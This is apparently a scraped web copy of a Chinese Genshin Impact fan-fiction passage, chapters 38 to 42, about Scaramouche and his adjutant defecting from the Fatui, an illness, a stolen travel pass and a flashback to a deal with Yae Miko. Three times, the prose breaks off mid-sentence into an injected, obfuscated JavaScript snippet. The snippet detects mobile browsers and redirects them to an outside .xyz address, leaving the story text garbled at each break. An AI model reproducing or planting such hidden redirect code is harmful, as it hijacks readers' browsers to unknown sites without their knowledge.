“好啦,言归正传。我想他应该告诉你,你身体里的神樱核心经过二次修补后,对魔神残渣十分敏感。”八重神子说,“留在八酝岛可不是什么明智的选择。” 崇神对他造成的影响月见里清也这几天已经体会过了,他听得出八重神子的弦外之音是让他们拿到神之心赶紧走。 他扯出一抹笑,不动声色地回复着:“我知道。” 八重神子深深地看了他一眼说:“另外一件事,或许你也知道地脉拥有存储记忆并将其以某种方式复现出来的能力,只要是有活性的地脉就能做到这一点,你也不例外。” “小清也,听说过‘过满则溢’这个词吗?” 月见里清也微怔,一时间没有在意八重神子对自己的新称呼。 他身体里的核心被散兵激化过后才“活”了过来,承担了心脏这一重要器官的责任。就像心脏连同血管,神樱核心汇集着他身上的地脉脉络,也就意味着核心储存着从他醒来到现在发生的一切事。 为什么会“过满则溢”? 是在说他活了四百多年,达到了核心的储存上限吗? 不论如何,过满则溢说的绝不是什么好事,可他又要怎么把这些记忆从核心里提取出来? 月见里清也一头雾水,可八重神子打定主意只提点一二,至于要怎么做,如何去做,则全靠月见里清也自己琢磨。 八重神子带着旅行者离开后,临时会议室里空无一人,不知散兵是何时离开的。工厂为了今天这场交易,月见里清也一早下令让士兵在八重神子到来后都撤了出去。 整个工厂算得上门户大开,无人守卫。 月见里清也此时也逮不着人问散兵的下落,只好先离开工厂。 八酝岛的雨依旧未停,潮湿的空气里泛着泥土和青草的气味,月见里清也站在雨里,仔细分辨着空气里两种元素力。 一个留下的痕迹很新,但特别混杂,仿佛是多种元素力掺杂在一起,另一个时隔的时间有点长,却是纯粹的雷元素。 月见里清也重新睁开眼,他知道往那边走了。 散兵避开了所有人,挑了一处地势较高的地方,从这里能直接看到鸣神岛最高处——天守阁。 他漫不经心地把玩着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991306|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的东西,仿佛那不是他期盼已久的神之心,而是小摊上随手买来的玩具。 而后他隔着雨幕,将神之心对准雷电将军的居所,嘴角缓缓勾出一个笑容。 月见里清也在不远处停下脚步,没有上前打扰,他能感觉到此时的散兵应当是开心的。 不,是非常开心。 长久以来压在他身上的阴云终于散去,守得云开见月明,阴云之下完整的他也终于显露出来,他笑的比任何一次都要肆意、轻松。 散兵笑容未收,转头看向要就过来的月见里清也问道:“她都跟你说了什么?” 他本就生的好看,笑起来更是美的无可挑剔,一时间让月见里清也恍了神,他清了清嗓子,“咳,没什么,无非就是我不能长时间接触魔神残渣之类的。” 他暂时隐瞒下了“过满则溢”的问题,打算有了眉目后再与散兵细说。 散兵不疑有他,抬手将一个物件抛了过去。月见里清也接住,定睛一看发现散兵抛过来的是刚拿到手的神之心,顿时和捧传家宝一样小心翼翼地捧着。 见他这幅模样,散兵没忍住嗤笑一声,“这么小心翼翼的干吗,你是没拿过东西?” 月见里清也:……? 神之心能和一般东西比吗? 不过散兵都这么说了,月见里清也也就不再宝贝着手里的东西,仔细打量着。 提瓦特上现有的材料都无法承受过大的元素力,那神之心是用的什么材质才承受的住这磅礴的元素力? 他毕竟不是什么炼器大师,研究不出一个所以然之后很快就失了兴趣,他走上前去拉开散兵的口袋将神之心放了回去,顺手拍了拍:“物归原主。” 语气虽然平淡,但说的理所当然。 就像在陈述神之心本来就是散兵所有物一样。 月见里清也跟他相处了几百年,自然知道说什么能让散兵高兴,时光将两人磨合成适合彼此的模样,却又不让他们察觉到分毫。 这种理所当然的语气比庆祝更能取悦散兵。 散兵半垂着眼,伸手在月见里清也手背上敲了敲,突然开口道:“你曾经说有时间想去别的国家看看?” “是啊,虽然是去了,但每次都是带着工作去。”月见里清也语气里带着笑意反问,“怎么突然问这个?” “现在除了愚人众,随你想去哪。”散兵说。 月见里清也吹了个口哨,“执行官大人,您这是要叛逃?” 他故意将叛逃二字说的很重,在这玩笑的语气里生出了别的意味。 散兵抬起眼皮看着他,“是啊,就看我这忠心耿耿的副官,这份忠心是对女皇,还是对我?” 月见里清也说:“答案显然易见不是吗,你准备拉着你的同伙去哪?” 二人相视一笑,雨水将二人的发丝和衣物尽数打湿,此时他们却不在乎。避开士兵的视线,头也不回的向远方跑去。 工厂和愚人众士兵被他们统统甩在身后,像是决意甩掉的过去,而他们已经做好准备迈向下一个未来。 就和不知多少年前一样,他们沿着八酝岛与神无冢之间的浅滩走,身边没有他人,他们也只有彼此。 39.叛逃途中 离开八酝岛有两条路,一是从码头走水路,二是顺着两岛之间的浅滩去往神无冢。 为了不让士兵发觉,二人挑了无人把守的第二条路。 稻妻的海中生活着一种浮游生物,每到晚上就会顺着潮汐而上,浅蓝色的光像银河一般,随着海水起伏,也被人称作“蓝眼泪”。 每年有那么一段时间内,“蓝眼泪”会进入一个爆发期,海水里的幽幽蓝光会在这时汇集成一片,照亮海岸。 而每年仅有的这几天,便被散兵和月见里清也碰到了。 在以往的时候,这几天的海边总是能碰到各种人,有玩闹的孩童,有羞涩的情侣还有慕名而来的旅客。 时至今日,受到各方面因素的影响,这里除了作乱的野伏众与魔物,再也没有其他身影。 神无冢与八酝岛情况相同,放眼四周别说找个人家借住一晚,那些房屋的荒废程度都能直接扔到恐怖映影里当布景。 大概来一阵风都能给它吹塌了。 月见里清也明智地放弃了把这间屋子当做临时住处的打算,转头跟着散兵找了个山洞凑合过一宿。 两人没有什么口腹之欲,只捡了几堆木材简单生了个火。 洞口灌进来凉风带走燥热,月见里清也想到刚刚路过的那座已经变成“危楼”的房屋。 他们谁都没提岛上的房屋是如何荒废的,为何除了野伏众再也见不到其他人的身影。 因为答案他们都清楚。 踏鞴砂是稻妻锻刀业的重心,在四百年前引入了一种名为“玉刚”的新材料后,开采冶炼玉刚所需要的人手是之间的几倍还要多。 神无冢和周围的岛屿受此带动,这里的村庄规模都要比别处大一些。 锻刀业是稻妻的重中之重,自几百年前第一次事故之后,幕府便派了军队镇守,这里被反抗军破坏的概率不大,导致眼下的情况也只有一种原因——御影炉心又一次泄露了。 可八酝岛的镇物被破坏,踏鞴砂再一次泄露,到底是多大的巧合,这两件事才会同时发生? 面对这个疑问,散兵想了想说:“百年前我来时,御影炉心就已经第二次泄露了,不过当时并不严重,但谁又能想到幕府和当年一样不闻世事呢。” “百年前?”月见里清也皱眉,“跟你来稻妻执行任务有关?” “你的重点就是这个?”散兵无语。 见月见里清也点头,散兵偏偏不顺月见里清也的意,“很遗憾,两者并没有任何联系,我也不想跟御影炉心扯上任何关系。” “至于女士,她跟此事唯一的牵扯或许就是邪眼,邪眼的技术有可能脱胎于御影炉心的冶炼技术,但这些都不重要,搞乱稻妻内政才是她们主要的目的。”散兵说完将自己随身带的水壶递了过去。 月见里清也:“?” ……这就讲完了? 对于百年前的那次任务,散兵的描述是说他与八重神子达成了一个双方共赢的交易。 月见里清也实在想不通愚人众和稻妻官方还能有什么共赢局面,但显然散兵并不想提,顾左右而言他,主打一个糊弄。 月见里清也一脸黑线地接过水壶,下意识的喝了一口。 苦涩的味道在嘴里如同烟花一般炸开,一时间含在嘴里吐也不是不吐也不是,只得拿眼瞪着散兵。 千算万算,他没想到散兵会把药装进水壶偷天换日! 散兵垂眸看着他,眼底的笑意分明,懒散地靠在石壁上,“知道你想问什么,这些事跟上次我来到稻妻无关,也与那场交易无关,我跟八重神子的交易各取所需,谁都没讨到谁的便宜,也没有在她身上留下把柄。” 说着他叹了口气,伸手在月见里清也脑门上重重敲了一下,“都过去一百年了,怎么能这样操心?” 刚被骗着喝了药又挨一脑瓜崩的月见里清也好不气馁,但也没继续往下问。 散兵已经说的够明白了,“谁也没讨到谁便宜”,就是说他们二人互给对方挖坑,还都纷纷掉了进去,算得上平手,但对于散兵来说这已经是十分丢面的事了。 月见里清也深知自己这个哥哥浑身上下嘴最硬,再往下逼问,恐怕得当场炸毛。这么想着,顺手就想把手里的水壶放下。 下一秒散兵的眼刀就顺着他的小动作扎了过来。 月见里清也:…… 夜深后,两位叛逃的愚人众高层干部眼下没有下属负责守夜,这活只能由二位自己来干。 只不过轮流守夜这再寻常不过提议让月见里清也一口回决,他自己大包大揽了过来。 这几天里散兵都是一副游刃有余胜券在握的样子,但有时表面上的样子不代表心里不紧张。 尽管散兵没有表现出来,月见里清也还是察觉出来这几天他一直紧绷着心里的那根弦,身体处于紧绷之下,自然休息不好。 人偶的身体构造可以做到不眠不休,即使不需要睡眠,他们的精神也需要放松。 凭借对散兵的了解,月见里清也猜测这几天他可能只睡了几个小时。 没人能在高压的精神状态下保持正常。 “这几天睡太多,睡不着。”月见里清也随口胡诌了个理由,端着水壶里剩下的药坐洞口去了。 散兵难得得没提反对意见。 他确实累了。 月见里清也坐在洞口,晒着月光把手里的药当做酒品了品,下一秒还是干脆利落的捏着鼻子全喝了。 所谓防患于未然,虽然魔神怨念能否让月见里清也患上崇神病还不好说,但崇神病患者的下场在八酝岛摆着,散兵不愿让他冒这个风险。 月见里清也明白其中利害,在喝药这方面还算配合。 只是两人还是低估了魔神怨念对人体的侵染力度。 第二天清晨,守在洞口的月见里清也不知何时睡了过去,还是散兵叫醒的他。 一向觉浅的月见里清也花了好一会才从梦境里转醒,睁眼时觉得眼皮仿佛有千斤重,好不容易睁开眼,意识还七零八落的散在那些光怪陆离的梦中。 几秒后意识回笼,月见里清也才感觉到头疼欲裂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004285|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不上哪疼,但整个头疼得快炸了。 他皱着眉揉着太阳穴试图缓解疼痛,收效甚微。 忽感觉额头处传来冰凉的触感,月见里清也下意识看过去,看到散兵一张眉头紧皱的脸,手还贴在自己额头上。 “我……”月见里清也张了张嘴,刚发出的一个音节就瞬间闭了嘴。 ……这公鸭嗓是谁? 声音哑的像砂纸,用力清嗓子也没用,依旧像个鸭子。 “行了,喝口水顺顺。”散兵把手收了回去,水壶里早就换了清水,月见里清也接过来小口喝着润喉。 他也没喝多少,发烧引起的发炎让他喝口水都觉得疼,但声音听上去终于不再那么沙哑了,“后半夜我没觉得有什么异常,直到五六点钟天快亮了才稍微放松了警惕,没想到会直接睡过去。” 月见里清也说着皱起了眉,他并不嗜睡,熬一个通宵对他来说一点问题都没有,散兵的生物钟一般在六七点左右,所以他才会在那个时间段放松警惕。 就在这不到一个小时的时间里,他就忽然睡死过去还发起了高烧。 事发突然,散兵脸色不怎么好看,他已经有了初步的猜测,但他不愿把月见里清也的情况往上靠,只是打断了他的话语:“行了,发烧了就别想太多,我扶你进去休息。在这等我拿通行证回来,别乱跑,明白了?” 月见里清也额头温度烫的都能煮鸡蛋,浑身上下的骨头都泛着酸疼。 他有自知之明,知道这个身体情况跟着散兵去了也是添乱,老实地点了点头,服从安排。 坐着还好,冷不丁站起来还有些头晕目眩,月见里清也伸手扶住石壁,肺腑难受的厉害,干脆直接捂着嘴咳起来。在把手拿开时,他盯着手上的黑紫色血迹怔愣出神。 紧接着感觉有液体顺着鼻腔涌了出来,血迹涌出,正巧滴落在他手上,顺着掌纹晕开。 他胡乱抹了一把,血液非但没止住反而越流越多。 月见里清也下意识仰头,接着被散兵眼疾手快地按回去,黑紫色血迹将他半张脸弄得脏乱不堪,让他看上去怪诞又诡异。 这幅样子落在散兵眼里像是往他心里重重敲去,大脑一片空白,几乎是凭本能在帮月见里清也止血。 崇神病? 不……不可能。 症状不对,况且清也有神之眼,不会那么快被魔神残渣侵染…… 但他核心受损,不能以常理看待,只有赶紧离开污染源…… 对,神无冢离八酝岛并不远,不能久留,最好能赶快离开稻妻。 散兵将月见里清也安置好后,脸色越发难看,心中不安逐渐放大,半晌没说话。 然而就在他匆匆转身离开,准备去抢通行证离开稻妻的时候,月见里清也忽然抓住他的手说:“不是崇神病,我耳边也没出现那些絮絮叨叨的声音,你看。” 他张开右手,手心里还残存着一点血迹,是刚刚清洗时有沾上的,看上去依旧不正常,好在已经变成深红色。 “别担心,注意安全。”他说。 40.柚云和久秋 不管月见里清也的话里有没有哄骗的成分,这无疑是给散兵吃了一颗定心丸。 他深吸一口气,含糊不清地“嗯”了一声,才转身离去。 关心则乱。 稻妻施行的锁国令不仅仅是雷电将军降下雷暴封锁稻妻那么简单,稻妻居民出入鸣神岛时都要出示通行证,才能畅行无阻。 而两位刚刚从愚人众叛逃的前执行官和副官,自然是没有通行证这种东西的,最快的方案只能从就近的愚人众营地里偷。 散兵在心里依旧将原本悄无声息潜入愚人众营地的计划删去,改成了耗时最短的PlanB。 耗时短就意味着被发现的概率会增大,但他不在乎。 被人发现?杀了就是了。 死人永远没机会说话。 愚人众的营地集中在踏鞴砂附近,故地重游,散兵连一丝眼神都没有分给它。 踏鞴砂被特殊的屏障保护着,先遣队士兵进不去,只得在附近转悠,然而神无冢就这么大点的地方,早就逛了个遍。 时间一久,先遣队从上到下难免懈怠。 这是所有先遣队的通病,月见里清也曾经废了不少心思来杜绝这种情况,但时间一长,就如同度过冬天的杂草,春风吹又生,几乎看不到成效。 往日令人头疼的问题,今日却变成了捷径。 为了方便管理,通行证之类的东西一般会放在先遣队队长手里,散兵目的明确,直奔营地里那座较大的帐篷而去。 那队长把巡视的任务扔给队员后,自己在帐篷里躲懒,手里捧着一本轻小说看的正起劲。 散兵潜进帐篷时顺手拿了搭在架子上的毛巾,光明正大地从后方靠向正在摸鱼的先遣队队长,脚步落在地面上几乎无声。 等到队长察觉到一丝不对劲时已经晚了,他头还没回过去,便有东西卡住他的喉咙向后拉去,偷袭者力气极大,他一时间挣脱不开,被死死的固定在椅背上。 队长又急又害怕,脸色充血涨得通红,他的目光扫过眼前的桌子,准备扫落桌上的东西来引起外面队员的注意。 不过散兵没给他这个机会,手上动作干脆利落,一绞一拉,瞬间扯断对方的脊椎,那队长连半点音节都没漏出,头往旁边一歪,死了。 散兵无声地勾了勾嘴角,将刚刚掉落在地上的轻小说捡起来,拍去封皮上的浮土,展开盖在先遣队队长那张狰狞的脸上。 不走心地掩盖完现场,他目光快速扫过桌上的物品,最后在一个文件袋里找到了整个先遣队的通行证。 通行证多了无用,他只从中抽出了两张薄薄的纸。正要转身离开时,有什么东西打在他的小腿上,散兵皱眉看去,见脚边静静地躺着一枚石子。 下枚石子飞来时被他轻松避过,石子撞击在桌腿上的声音不大,但在安静的帐篷里十分突兀。 扔石子的人似乎被这声音吓了一跳,安静几秒后,见没有人闯入,才大着胆子压低声音叫散兵:“这里,这里!” 散兵朝声音源头看去,见原本右侧立着的几帐在先遣队队长挣扎时被踹歪,露出一个不大不小的空隙,里面隐约有人影在动,正正好好能将散兵绞杀小队长的全过程尽收眼底。 散兵:…… 既然有了目击证人,自然不能装作无事发生,散兵借着视线死角,飞快地摸走了先遣队队长的军用匕首。 一般的帐篷都是办公和睡觉在同一个区域,稍微讲究一点的拉个隔断,但谁会在出任务时在自己帐篷里藏人? 尤其是在看到那人被关在笼子里时,散兵的眼神越发不对了。 愚人众都有规矩,收押人员的安置地一律安置在营地角落,且离主营帐有一定距离。 被关押在主帐卧室的人……自然不怪散兵多想。 笼子里关着的是个模样在十六七岁的黑发少年,慌忙解释道:“我这是事出有因,不是你想的那样,少侠快行行好,帮忙把笼子打开我再跟你细说。” 是不是误会散兵不想知道,他并不想为此耽搁时间,弯下腰装作观察锁的样式,右手缓缓背向身后,将匕首抽出刀鞘。 笼子空隙狭小,只要他刺下去,那人必死无疑。 少年却误以为自己得救,伸手抓住栏杆,就在这一瞬间,藏在他衣袖里玉佩被甩飞出去,落在不远处的地上。 少年这时也顾不上散兵了,他伸手从空隙里去够那块玉,但受限太大,始终就差那么一点。 他就只好又看向散兵,“再……帮个小忙?” 然而不需要他说,散兵早就捡起那块玉佩,片刻后,匕首被原封不动地推回去。他摩挲着玉佩上的花纹,若有所思的盯着少年的脸,“这玉佩是你的?” 少年闻言老实点头,“对啊,我家祖传下来的。” “你姓弥生?”虽是疑问,但散兵心里十分笃定。 弥生久秋缓缓一点头,狐疑地看着散兵,“你怎么知道?” 他面不改色的扯谎:“桌上的记事本记着你的名字,刚随手看了一眼。” 话音刚落,散兵就握住牢笼的锁,直接用汹涌的元素力将锁破开,把弥生久秋放出来。 弥生久秋不疑有他,见散兵还握着玉佩,便伸手指了指,示意对方还回来,“那个……玉佩,你之前见过?” 散兵嘴上说着“没有”,心里冷笑一声。 何止见过。 那玉佩就是八重神子给月见里清也的“身份凭证”。 一对阴阳勾玉,看着朴实无华,玉料却是顶好的料子,弥生久秋手上的便是其一。 当初月见里清也为了报答弥生长月和弥生椿两兄妹的救命之恩,特地将自己用不到的凭证赠送给二人。 不管他们是看做工用料不错,拿去典当,还是认出这是神社的东西跑去求助,都能或多或少的帮助到他们。 可偏偏没想到这家人把他当了个宝贝传下来了。 弥生家的后人动不得,散兵压下心中的焦躁,带着他逃出愚人众营地已经仁至义尽,思考眼下该如何抛下这个拖油瓶。 弥生久秋没意识到自己被视为拖油瓶,仍记得两人初见面时的误会,着急地证明自己的清白,“我跟那帮愚人众没有发生半毛钱关系,只是个无辜的受害者。” 而散兵连敷衍他的心思也没有。 见话题冷场,对方也没有想交谈的意思,弥生久秋也不坚持,只是看着散兵去往的方向又没忍住拦住他。 散兵再次停下脚步,弥生久秋甚至都没有看清他的动作,转瞬间散兵就已经抽出别在腰间的匕首,将其抵在弥生久秋的脖颈处。 “看在勾玉的份上警告你一次,别再跟着。”散兵语气森然,见弥生久秋点头,他这才将匕首收回。 他控制的力度很好,锋利的刀刃紧贴着皮肤,却连皮肤都没划破。弥生久秋后怕的摸着脖子道:“我只是想提醒你,踏鞴砂泄露后,你走的方向已经不会有人再走了,这是本地人的共识。” “当然,我的本意不是探究你的身份,只是想说,如果你要进入踏鞴砂或者八酝岛,我们家或许有可以帮助到你的东西。” 散兵骤然停下脚步,冷声道:“有时候太过聪明并不是什么优点。” 弥生久秋一耸肩:“或许吧,但我觉得我应该不会死。” 散兵冷笑道:“在我面前如此自信的人多半活不下去,你有什么目的?” “没有,只是单纯的见过你。”弥生久秋解释道,“也不太准确,在我家的画册上,有个和你长得非常像的人,如果你不是本人,那也沾亲带故?” “总之,家里一辈辈传下来的,说那是恩人,以后遇到他的亲戚或后人要多帮扶。” 良久的沉默后,散兵才开口道,斟酌了一下说:“我记得你们家,是不是有个医馆?” 弥生久秋闻言一点头,“倒是有一所祖上传下来的,但我学艺不精, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018248|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今是我长姐在经营。” 月见里清也在散兵离开后不久便昏昏沉沉地睡了过去,或许是因为生着病,他睡得太沉,连散兵何时回来的,怎么样将他转移到医馆的一概不知。 当他再次醒过来,已经身在弥生家的医馆里了。 昏暗的灯光和相同的室内装横,再加上弥生久秋与弥生家兄妹相似面容,回忆与现实对应,差点让他不知今夕是何年。 直到散兵握住他的手,月见里清也看清对方身上的衣服,并不是几百年前的白狩衣,才猛的松了口气,意识重新落回百年后的今日。 见月见里清也睁开眼,围在床边的众人都松了口气,散兵还未说什么,一道清冷的女声插了进来:“能醒过来就好,只要醒了就没有其他危险了,只不过这几日还要好好按时吃药,不能再去接触八酝岛上的那些崇神了,踏鞴砂的玉刚也不行。” “另外你之前给他吃的那些鸣草和天云草实的药剂也起了很大的作用,他底子也好,好好休息几天也就没事了。”后半句话是对散兵说的,从医生的角度来看,散兵的应急处理是非常正确的,话语间也多了几分夸赞。 原来他自认为睡得昏沉,实际上却是直接昏了过去。 月见里清也趁着医生还在交代注意事项,飞快的扫了一眼他不认识的两人。 一个是刚刚差点错认成弥生长月的黑发少年,另一位女士看起来比他年长许多,长发在后脑盘起,戴着一支奢华内敛的簪子,除此之外再也没有其他饰品,十分干练。 一看就是病人不敢忤逆的那种医生。 而且这份干练和话语里不容置喙的味道多少有些故人之姿…… 比起弥生久秋,这位女士不管从长相上还是气质,更像弥生长月。 而她头上的那枚簪子坠着的黑色勾玉佐证了他的想法。 这是弥生长月的后人。 至于那一半白的,估计是戴在另一位身上了。 姐弟两人也察觉到月见里清也的视线,大方的介绍了自己:“弥生柚云,这是我表弟弥生久秋,您对我们可能不熟悉,但应该对弥生这个姓氏有些印象。” “我记得,弥生长月和弥生椿,不知道后来他们过得怎么样?”月见里清也是真有些好奇,自从他逃离山村,在弥生长月的医馆里处理完伤口后,他就与散兵一起颠沛流离,后又到了愚人众,再也没打听到这对兄妹的下落。 “其实弥生家能有今天也多亏您当年给的这对勾玉,”负责讲述往事的活被弥生久秋揽了过来,“当时山村发生火灾后,太爷爷将姑奶奶接到了身边——” 那场大火非但没有吓到弥生椿,反而给她壮了胆,或许是短短几日的相处月见里清也的一些行为影响到了她,弥生椿开始向往外边的世界,想当个冒险家。 好悬没给弥生长月气出病来。 后来她长大了,弥生长月都差点管不住她,正好自家医馆想要搬迁到鸣神岛,弥生长月就派人带着她一同去鸣神岛打探市场。 正好就是那次,弥生椿带着月见里清也给的半块勾玉,撞上了“微服私访”的鸣神大社宫司。 “那之后,弥生家在鸣神岛的药店从购地到开店,都顺利无阻,遇到些什么情况神社方面也会照看一二。”弥生久秋说,“家里的人一致认为是那块勾玉得作用。” 散兵和月见里清也听后都若有所思,但面上不显,又讲了些弥生家的家常后,作为医生的弥生柚云说:“时间也不早了,病人还是要好好休息,今晚出现头痛,浑身发冷的症状都是常见的,稍后药就会送过来。” 弥生柚云和弥生长月一脉相传的严谨,二人离开房间不久后,便有一位学徒模样的孩子送药进来。 月见里清也勉强咽下嘴里的苦汁,难喝的直咂舌。 如果说散兵煮药的天赋树像是被拦腰折断,弥生柚云的天赋树则是压根没发芽,就被人刨出来扔了。 简直难以下咽。 41.仙狐与浪客的密谋(其一) 喝完药的月见里清也含着一块蜜饯,突然想起弥生久秋方才说的话的话。 弥生椿拿着他的身份凭证碰到了八重神子。 如果遇到后无事发生,那就说明八重神子没认出来,这倒不用在意。可偏偏八重神子给他们提供了帮助,还是以神社的名义,俨然是将其发展成下线的意图。 八重神子从见到弥生椿的那一刻就认出了身份凭证,要么是觉得能让月见里清也把凭证给出去,起码善良忠厚,可用;要么是觉得凭证出现的突兀,防患于未然将其扣在自己眼皮底下。 那时的月见里清也与她并未见过面,后者的可能性略大一些。 如此一来,八重神子早就知道他的苏醒,并不是从散兵找她时才知道的。 散兵听了他的推论,略微摇头否定道:“不一定,她确实是在我去见她时,看到神樱核心才相信你的苏醒,在此之前,她可能更倾向于有人偷了那对勾玉。” 话赶话又聊到了一百多年前那次稻妻任务,月见里清也借着生病,耍赖装傻无所不用其极,磨得散兵终于开了口。 散兵垂着目光看他,“你就这么想知道?” 月见里清也躺好将被子盖紧,装出一副马上就要入睡的模样,眨巴着眼道:“头疼睡不着,就当讲睡前故事了,睡醒我就忘了。” 头疼睡不着跟讲睡前故事有什么关系?月见里清也那双眼睛里透着兴奋,哪有一丝睡意。 散兵都懒得拆穿他,无奈道:“……好,行。” 谁叫他是个病号呢,先忍他一忍。 一百多年前,散兵所在的军队结束了为期几三个月的深渊探索任务,时任队长的他带队返回至冬述职。 说是述职,其实大家心里都清楚他这趟回去会升职,下次再见面这帮队员就该喊他执行官大人了。 有不少好事者提前来祝贺,但还没开口就被让人拉住,而散兵本人脸上也见不到一点喜悦之色。 因为月见里清也在这场任务里出了意外。 “人偶的身体构造不能与人类相提并论,月见里清也在特殊处理处躺着根本没用,何况特殊护理处是给人躺着的,他现在连个大体的人型都没有。” 卡斯珀听到这话后怔愣片刻,良久他才找回自己的声音:“什么叫‘连个大体的人型都没有’?” 散兵抿嘴不语,知道自己说了太多。 得不到回应的卡斯珀急的抓耳挠腮:“那你告诉我,他还……活着吗?” “活着。”这次散兵答的很快,并且很肯定,“但以至冬的技术,想让他醒来很难。” 至冬的技术不行,别国的技术或许可以,这才是散兵叫卡斯珀出来一叙的原因—— 加入愚人众后散兵基本全年无休,借着深渊任务完成和升职,女皇给他特批了一段假期。 他在至冬基本没有什么社交,于是接着修复起月见里清也的身体,已经在自家地下室待了几个月有余,两耳不闻窗外事,对外界消息有些滞后。 卡斯珀在那次任务后调进女皇的直属部队,消息灵通,闻言他也没有废话,直接问道:“要去那个国家?” 散兵对卡斯珀关键时刻绝不拖拉的性子很是满意,他简言意骇道:“稻妻。” 卡斯珀松了口气:“正巧,最近正有一个需要去稻妻的任务,跟那里的锻刀业有关。” 散兵本就是稻妻人士,加入愚人众之前跟当地的刀匠颇有渊源,拿下这个任务对他来说简直轻而易举。 在座的几个执行官还真没有能比他更熟悉稻妻和稻妻刀匠的。 至于为什么要紧盯着刀匠不放,是因为愚人众这次的目标就是要带那帮刀匠去至冬,而带刀匠来至冬的更深层意义,他暂时无暇去想。 稻妻目前有传承的锻刀流派都是雷电将军亲自传授的,分别为:天目、经津、一心、百目、千手,被人成为“雷电五传”。 而至冬说要踏鞴砂的刀匠,也没说要把整个雷电五传全都打包带回去,其中可操作的空间还是很大的,对此,散兵已经有了初步的打算。 但眼下不是开始实行计划的时候,目前他有个更重要事情要做。 一百年前的稻妻并未颁布锁国令,来往商船停泊在离岛的码头,聚集了来自各国的商人,绝不是一百年后冷清的模样。 虽然热闹繁华不及璃月港,但让散兵一行人混进来绰绰有余,他们伪装成一队商人,只不过船上的人手和货物只占三成,剩下的空间自然是用来藏匿那些刀匠的。 散兵这次带来的人手比之前任何一次出任务的时候都要少,绝大部分都是之前跟随他一起下深渊的队员。人少且又知根知底的好处这时候就体现出来了,他们对于散兵的命令奉行两个原则:唯听是从,绝不多问。 散兵并不喜欢向下属解释自己的动机,也不喜欢有人自作主张。 说他傲慢也好,不近人情也罢,这就是第六席士兵以后要面对的长官,早日习惯对士兵来说也算好事,毕竟他不打算改。 见无人对自己的计划提出反对意见,散兵满意地一点头,吩咐下属按计划行事。 计划的第一步:支开跟在身后的尾巴们,独自前往鸣神大社。 虽说稻妻锻刀有五个流派,散兵却只对其中的“一心传”熟悉,如果要对刀匠做文章,他最熟悉的一心传绝对是首要目标。 一心传传人世代生活在踏鞴砂,不出意外,他这次踏出离岛后就再也没机会重返鸣神岛,所以他必须要把前往鸣神大社提到第一步。 鸣神大社就坐落于影向山顶端,山顶种着终年不败的樱花,以及稻妻最重要的神樱树。 神社常年对外开放,只要想来,民众随时都可以来神社祈福礼拜,但想要见宫司可就没有那么容易了。 除了祭祀、节日这种重大场合下,能否在神社里见到宫司本人全凭她当天的心情如何,甚至在稻妻城内见到她的概率会比神社里的还要高。 就算运气好,碰到她在神社里,但宫司可不是一般人想见就见的。总之,天时地利人和,缺一不可。 当然散兵也不是空手而来,他将一个木匣递到通传的巫女面前,让她转交到八重神子手里。 巫女郑重接过他手中的木匣 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按照以往,这种随风飞过来的垃圾早就被他随手抛在一边,或许是为了转移注意力,散兵鬼使神差地低头看了起来。 『世界上没有什么是永远无法挽回的, 今天就是能够挽回失去事物的日子。』* 看样子像是某个抽中大吉的倒霉蛋弄丢了签文。 也不知道这到底是算大吉,还是算倒霉蛋,不过…… 他重新看向那句:“世界上没有什么是永远无法挽回的,今天就是能够挽回失去事物的日子。” 散兵目光微动,原本他不信这些虚无缥缈的东西,但此刻有些动摇。 他慢条斯理地折好这张签文,或许随风而来正好飘到他眼前的签文也是运势的一种,顺势而为也未尝不可。 那就……承你吉言。 半晌后,进去通传的巫女回来了,她手上没有拿着木匣,对散兵说:“宫司大人在里面等您。” 散兵冲她一点头,劳烦她带路进去。 他的计划从没出过错,谈判时也知道用什么样的条件才能打动对方,但此刻他则愿意将三分的成功率归功于那张随风而来的签文上。 因为今天是个能够挽回失去之人的日子。 穿过回廊和中庭,越往里走人就越少,直到来到一处房门前,带路的巫女也退下了,走廊里除了他再无别人。 他礼貌地敲了敲门才推门进去,和上次他为踏鞴砂求援面见八重神子不同,上次的会面正式又严肃。这次则是在八重神子自己的私人会客室内,正式但又暗潮涌动。 会客室内除了他二人外,也不见其他巫女的身影,显然这场对话八重神子不想让第三个人知道,跟精明的人对话就是如此,可以省去很多不必要的步骤。 要说八重神子没有小心思散兵是不信的,他们二人各怀心事。 思及至此,他也泰然自若地入座了,如果一方有事,那是求人办事,但双方都有需求,那便是各取所需,互惠互利。 最起码,他不必如此放低自己的态度。 42.仙狐与浪客的密谋(其二) 二人都不是第一次相见,也省去了自我介绍那些无意义的流程。 